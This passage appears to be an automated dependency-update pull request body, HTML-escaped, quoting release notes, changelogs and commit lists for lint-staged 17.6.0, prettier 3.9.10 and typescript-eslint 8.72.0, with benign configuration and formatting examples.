time.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lint-staged/lint-staged/blob/main/CHANGELOG.md\"\u003elint-staged's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e17.6.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1850\"\u003e#1850\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/938d3f43d07cbd74f08052dfb8a7380ce8868180\"\u003e\u003ccode\u003e938d3f4\u003c/code\u003e\u003c/a\u003e - Task functions like \u003ccode\u003e{ title, task }\u003c/code\u003e can now use a logger function \u003ccode\u003elog()\u003c/code\u003e to emit output while the task runs. By default, the output will only be visible if the task fails, unless the \u003ccode\u003e--verbose\u003c/code\u003e option was used. Additionally, when the task rejects, the error will be shown in the output.\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eimport { defineConfig } from 'lint-staged/config'\n\u003cp\u003eexport default defineConfig({\n'*': {\ntitle: 'Fail if PDF files are committed',\ntask: async (filepaths, { log }) =\u0026gt; {\nconst pdfFiles = filepaths.filter((f) =\u0026gt; f.toLowerCase().endsWith('.pdf'))\nif (pdfFiles.length \u0026gt; 0) {\nlog('PDF files should not be committed: %s', pdfFiles)\nthrow new Error('Failed')\n}\n},\n},\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1854\"\u003e#1854\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/30562bcbc5267bdb733c257c79c0a65c34465ba3\"\u003e\u003ccode\u003e30562bc\u003c/code\u003e\u003c/a\u003e - \u003cem\u003elint-staged\u003c/em\u003e now stages changes to \u003cstrong\u003eall tracked files modified by tasks\u003c/strong\u003e, including files that weren’t originally staged or didn’t match the configured globs. This can happen when your task has side-effects, or it's a function that ignores the staged files like \u003ccode\u003e() =\u0026gt; \u0026quot;prettier --write .\u0026quot;\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eIf you have unstaged changes in a file and the task also edits that file, your unstaged changes will be staged too. Use \u003ccode\u003e--hide-unstaged\u003c/code\u003e to hide your changes while tasks run.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1860\"\u003e#1860\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/4296532155fb893ab8f754a47f3518f691fd4d98\"\u003e\u003ccode\u003e4296532\u003c/code\u003e\u003c/a\u003e - The assignment of staged files to \u003cem\u003elint-staged\u003c/em\u003e configuration files (when using multiple, for example in a monorepo) has been rewritten to be more efficient. As a reminder, each staged file is assigned to exactly one configuration (the closest one), even if that config doesn't match the file in its globs.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1861\"\u003e#1861\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/c45f28af47a540730de2bf22fddedeb8fac5952a\"\u003e\u003ccode\u003ec45f28a\u003c/code\u003e\u003c/a\u003e - Fix running parallel tasks for a single glob, when tasks are created by a function. Nesting one level of arrays inside an array of tasks will result in the inner tasks running in parallel. This behavior should now be consistent when creating tasks using functions. In the following example \u003ccode\u003eeslint\u003c/code\u003e and \u003ccode\u003eprettier\u003c/code\u003e will run in parallel (for all files, when any JS files are staged):\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eimport { defineConfig } from 'lint-staged/config'\n\u003cp\u003eexport default defineConfig({\n'*.js': () =\u0026gt; [['eslint --max-warnings=0 .', 'prettier --list-different .']],\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1859\"\u003e#1859\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/f0ea69dc67399e504a08db67594f697d4c24df6d\"\u003e\u003ccode\u003ef0ea69d\u003c/code\u003e\u003c/a\u003e - Various performance improvements from skipping redundant internal Git calls.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1856\"\u003e#1856\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/69d7d17ca6d3b10f2ececf8b2756c1927a627821\"\u003e\u003ccode\u003e69d7d17\u003c/code\u003e\u003c/a\u003e - Partially staged changes are hidden in a uniquely-named patch file to avoid multiple invocations of \u003cem\u003elint-staged\u003c/em\u003e overwriting it. This makes it safer to run \u003cem\u003elint-staged\u003c/em\u003e in multiple worktrees at the same time.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/48f9f4ea4b88eb605de3546e4599083de7a394b2\"\u003e\u003ccode\u003e48f9f4e\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/issues/1857\"\u003e#1857\u003c/a\u003e from lint-staged/changeset-release/main\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/16b2e213efeec330f7e1576a8d35776822bf698a\"\u003e\u003ccode\u003e16b2e21\u003c/code\u003e\u003c/a\u003e chore(changeset): release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/195f15677da877431b63dfd001e1ed9369bb1479\"\u003e\u003ccode\u003e195f156\u003c/code\u003e\u003c/a\u003e docs: improve changeset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/0ba6261cabfdade60e487385ebec4fc2b4b44309\"\u003e\u003ccode\u003e0ba6261\u003c/code\u003e\u003c/a\u003e fix: create hidden directory only when required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/66ac2de6f71d19256cc5d11026d37e653af11549\"\u003e\u003ccode\u003e66ac2de\u003c/code\u003e\u003c/a\u003e docs: fixes to changesets\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/80af8d7f8246c4246cdf8b53229bd1bf7763f959\"\u003e\u003ccode\u003e80af8d7\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/issues/1863\"\u003e#1863\u003c/a\u003e from lint-staged/fix-issues\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/e4334881d49d94669bc2b2fb5a73705d822c69bb\"\u003e\u003ccode\u003ee433488\u003c/code\u003e\u003c/a\u003e fix: handle task editing a symlinked file to a regular file, and --fail-on-ch...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/e5019b32138e301c777c683f95e4a1e17362845f\"\u003e\u003ccode\u003ee5019b3\u003c/code\u003e\u003c/a\u003e fix: handle trailing newlines when detecting changed files\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/74efec85fa276618837d3c4602062ef30d16abf1\"\u003e\u003ccode\u003e74efec8\u003c/code\u003e\u003c/a\u003e ci: run Cygwin and MSYS2 tests on Node.js 26\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/655b7dcd9f7eb57a6f574f03be371190afeb9f5c\"\u003e\u003ccode\u003e655b7dc\u003c/code\u003e\u003c/a\u003e fix: use TypeScript types instead of JSDoc\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/lint-staged/lint-staged/compare/v17.5.1...v17.6.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.9.6 to 3.9.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.10/CHANGELOG.md#3910\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix text with \u003ccode\u003e$\u003c/code\u003e been incorrectly parsed as math syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20140\"\u003e#20140\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.9/CHANGELOG.md#399\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Don't let Liquid objects interrupt paragraphs (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20087\"\u003e#20087\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.8/CHANGELOG.md#398\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport Angular 22.2\u003c/li\u003e\n\u003cli\u003eFix regressions in v3.9\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.7/CHANGELOG.md#397\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.10\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.9...3.9.10\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\"\u003ehttps://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch1\u003e3.9.9\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.8...3.9.9\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Fix text with \u003ccode\u003e$\u003c/code\u003e been incorrectly parsed as math syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20140\"\u003e#20140\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n**Uses $FOO** from `a.sh` and `b.sh`, plus `$BAR` from `c.sh`, before anything else runs here.\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.8 --\u0026gt;\n\u003cstrong\u003eUses $FOO\u003c/strong\u003e from \u003ccode\u003ea.sh\u003c/code\u003e and \u003ccode\u003eb.sh\u003c/code\u003e, plus \u003ccode\u003e$BAR\u003c/code\u003efrom\u003ccode\u003ec.sh\u003c/code\u003e, before anything else runs here.\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.9 --\u0026gt;\n\u003cstrong\u003eUses $FOO\u003c/strong\u003e from \u003ccode\u003ea.sh\u003c/code\u003e and \u003ccode\u003eb.sh\u003c/code\u003e, plus \u003ccode\u003e$BAR\u003c/code\u003e from \u003ccode\u003ec.sh\u003c/code\u003e, before anything else runs here.\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch1\u003e3.9.8\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.7...3.9.8\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Don't let Liquid objects interrupt paragraphs (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20087\"\u003e#20087\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\nIf `module` is not a [`WebAssembly.Module`](https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module) object instance, a\n{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.7 --\u0026gt;\nIf \u003ccode\u003emodule\u003c/code\u003e is not a \u003ca href=\"https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module\"\u003e\u003ccode\u003eWebAssembly.Module\u003c/code\u003e\u003c/a\u003e object instance, a\u003c/p\u003e\n\u003cp\u003e{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.8 --\u0026gt;\nIf \u003ccode\u003emodule\u003c/code\u003e is not a \u003ca href=\"https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module\"\u003e\u003ccode\u003eWebAssembly.Module\u003c/code\u003e\u003c/a\u003e object instance, a\n{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch1\u003e3.9.7\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/1172b82c295c4f889fd787dc6c78c3e194ebf353\"\u003e\u003ccode\u003e1172b82\u003c/code\u003e\u003c/a\u003e Release 3.9.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/d0142273aff2c76f8a69785d42ee2cedc4b0aaa3\"\u003e\u003ccode\u003ed014227\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on perfor...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/953b9084329dcd06ed1072a04b333f1e6e9371e8\"\u003e\u003ccode\u003e953b908\u003c/code\u003e\u003c/a\u003e Bump Prettier dependency to 3.9.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/ad8a6bf4fa23c42fd114683fec43b28a11bd24af\"\u003e\u003ccode\u003ead8a6bf\u003c/code\u003e\u003c/a\u003e Clean changelog_unreleased\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cdd17f2288b28b170a76416c72dac56e3ea5daff\"\u003e\u003ccode\u003ecdd17f2\u003c/code\u003e\u003c/a\u003e Release 3.9.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/dc7b8968e678f51ea00e2be3fe8c717d114691a3\"\u003e\u003ccode\u003edc7b896\u003c/code\u003e\u003c/a\u003e Disable \u003ccode\u003esingleDollarTextMath\u003c/code\u003e in \u003ccode\u003emdast-util-math\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/20140\"\u003e#20140\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/f9be58fb8ec62dd47197ea19a30aac5ad26dfee0\"\u003e\u003ccode\u003ef9be58f\u003c/code\u003e\u003c/a\u003e Git blame ignore 3.9.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/88470cb79ca3b757dd6b93906d9a992aa1a456c3\"\u003e\u003ccode\u003e88470cb\u003c/code\u003e\u003c/a\u003e Bump Prettier dependency to 3.9.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/9559cab39eb5082c99a27e8829760c055adba841\"\u003e\u003ccode\u003e9559cab\u003c/code\u003e\u003c/a\u003e Clean changelog_unreleased\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/4fc8ee87465de8d54780273a6996d74e8e9da827\"\u003e\u003ccode\u003e4fc8ee8\u003c/code\u003e\u003c/a\u003e Update dependents count\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.9.6...3.9.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.70.0 to 8.72.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.72.0\u003c/h2\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e lazy load rules (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12992\"\u003e#12992\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e error on abstract keyword that precedes export (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13019\"\u003e#13019\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003east-spec:\u003c/strong\u003e add \u003ccode\u003eJSXFragment\u003c/code\u003e to \u003ccode\u003eJSXAttribute['value']\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13051\"\u003e#13051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-readonly-parameter-types] check where allowed type aliases are declared (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13016\"\u003e#13016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-deprecated] report deprecated properties in object literals (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12704\"\u003e#12704\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e use isTypeLiteralType instead of type.isLiteral() to include bigint literals on TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13053\"\u003e#13053\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] check tuples (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] ignore extra this type argument on TS \u0026lt; 5.1 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13055\"\u003e#13055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e discriminateAnyType crashes when calling getAwaitedType on awaited type in TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13054\"\u003e#13054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e include leading and trailing comments \u0026amp; whitespace in Program range (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12991\"\u003e#12991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJunichiro Kasuya \u003ca href=\"https://github.com/jksy\"\u003e\u003ccode\u003e@​jksy\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitch Fultz \u003ca href=\"https://github.com/fitchmultz\"\u003e\u003ccode\u003e@​fitchmultz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShaan GS \u003ca href=\"https://github.com/ShaanGS\"\u003e\u003ccode\u003e@​ShaanGS\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.71.2\u003c/h2\u003e\n\u003ch2\u003e8.71.2 (2026-10-12)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unused-vars] avoid false-positives when not using our parser (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12989\"\u003e#12989\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-parameters] count instantiated mapped type templates (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12974\"\u003e#12974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unused-vars] ignore type-only refs for after-used (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12977\"\u003e#12977\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-parameters] parenthesize constraint in optional tuple elements (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12995\"\u003e#12995\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] safe fix when the chain ends with a strict null comparison (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12805\"\u003e#12805\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e match linked packages and packages with missing version in \u003ccode\u003eTypeOrValueSpecifier\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12948\"\u003e#12948\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAbraham Guo\u003c/li\u003e\n\u003cli\u003eBrad Zacher \u003ca href=\"https://github.com/bradzacher\"\u003e\u003ccode\u003e@​bradzacher\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJosh Goldberg\u003c/li\u003e\n\u003cli\u003eVinccool96\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.71.2 (2026-10-12)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.2\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.71.1 (2026-10-05)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.71.0 (2026-09-28)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca 